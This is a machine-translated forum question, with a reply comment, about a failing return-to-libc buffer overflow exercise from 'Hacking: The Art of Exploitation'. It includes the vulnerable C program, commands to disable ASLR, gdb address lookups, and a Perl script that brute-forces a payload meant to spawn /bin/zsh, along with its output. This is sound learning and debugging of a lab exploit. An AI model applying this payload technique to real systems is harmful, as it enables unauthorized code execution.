मैं बफर ओवरफ्लो के साथ गड़बड़ कर रहा हूं, खासकर libc तरह में वापसी।libc में लौटें - अवैध निर्देश
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
मैं का उपयोग कर जीसीसी-2.95 (कोई -fstack-protector
) यह संकलित -mpreferred-stack-boundary=2
ध्वज के साथ:
मैं निम्नलिखित कमजोर कोड है। मैंने "Hacking: The Art of Exploitation" के libc अध्याय में वापसी का पालन किया।
पहले, मैं विकलांग ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
मैं system
का पता पता चला:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
मैं एक वातावरण चर बनाया आदेश को रोकने के लिए मैं system
का उपयोग कर निष्पादित करने के लिए करना चाहते हैं:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
और फिर मैंने एक पर्ल स्क्रिप्ट स्वचालित करने के लिए बनाई खोल प्राप्त कर लिया:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
मैं गलत कहां गया? मुझे अपने खोल के बजाय "अवैध निर्देश" क्यों मिलता है?
डीबगर संलग्न करें और पता लगाएं (डीबगर को संलग्न करने के लिए पर्याप्त समय देने के लिए कमजोर कार्यक्रम में 'नींद (30)' फेंकना सुनिश्चित करें)। सबसे अधिक संभावना है, यह एक स्मृति पते पर कूद रहा है जो वैध है लेकिन इसमें डेटा शामिल है, निर्देश नहीं। –